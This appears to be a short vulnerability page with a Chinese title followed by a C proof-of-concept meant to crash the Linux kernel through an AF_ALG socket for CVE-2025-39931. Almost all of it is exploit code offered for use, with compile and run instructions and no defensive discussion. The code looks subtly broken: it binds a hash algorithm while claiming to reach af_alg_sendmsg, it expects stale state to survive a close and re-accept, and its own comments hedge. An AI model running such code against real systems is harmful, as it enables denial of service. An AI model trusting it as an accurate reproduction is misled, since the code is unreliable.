CVE-2025-39931 Linux内核crypto/af_alg模块未初始化变量导致崩溃漏洞

/* CVE-2025-39931 PoC - Linux kernel af_alg uninitialized merge crash * This PoC demonstrates triggering a kernel crash via AF_ALG socket * by exploiting the uninitialized ctx->merge field in af_alg_sendmsg. * * Compile: gcc -o poc poc.c * Run: ./poc (requires CAP_NET_RAW or similar privilege for AF_ALG) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #include <linux/socket.h> int main(int argc, char *argv[]) { int tfmfd, opfd; struct sockaddr_alg sa; char buf[4096]; /* Step 1: Create AF_ALG socket */ tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfmfd < 0) { perror("socket(AF_ALG)"); return 1; } /* Step 2: Bind to a hash algorithm (e.g., SHA256) */ memset(&sa, 0, sizeof(sa)); sa.salg_family = AF_ALG; strcpy((char *)sa.salg_type, "hash"); strcpy((char *)sa.salg_name, "sha256"); if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfmfd); return 1; } /* Step 3: Accept to get operation fd */ opfd = accept(tfmfd, NULL, NULL); if (opfd < 0) { perror("accept"); close(tfmfd); return 1; } /* Step 4: Trigger error path in af_alg_sendmsg * Send data with flags that cause early abort, leaving ctx->merge * with garbage value from previous iteration. * MSG_MORE or specific message sizes can trigger this condition. */ memset(buf, 'A', sizeof(buf)); /* First send - may partially process and set merge state */ if (send(opfd, buf, 1, MSG_MORE) < 0) { perror("send 1"); } /* Trigger error condition (e.g., invalid operation) */ /* Close and reopen to trigger re-entry with stale merge value */ close(opfd); opfd = accept(tfmfd, NULL, NULL); if (opfd < 0) { perror("accept 2"); close(tfmfd); return 1; } /* Second send - ctx->merge contains garbage, triggers crash */ send(opfd, buf, sizeof(buf), 0); close(opfd); close(tfmfd); printf("PoC completed. Check dmesg for kernel crash.\n"); return 0; }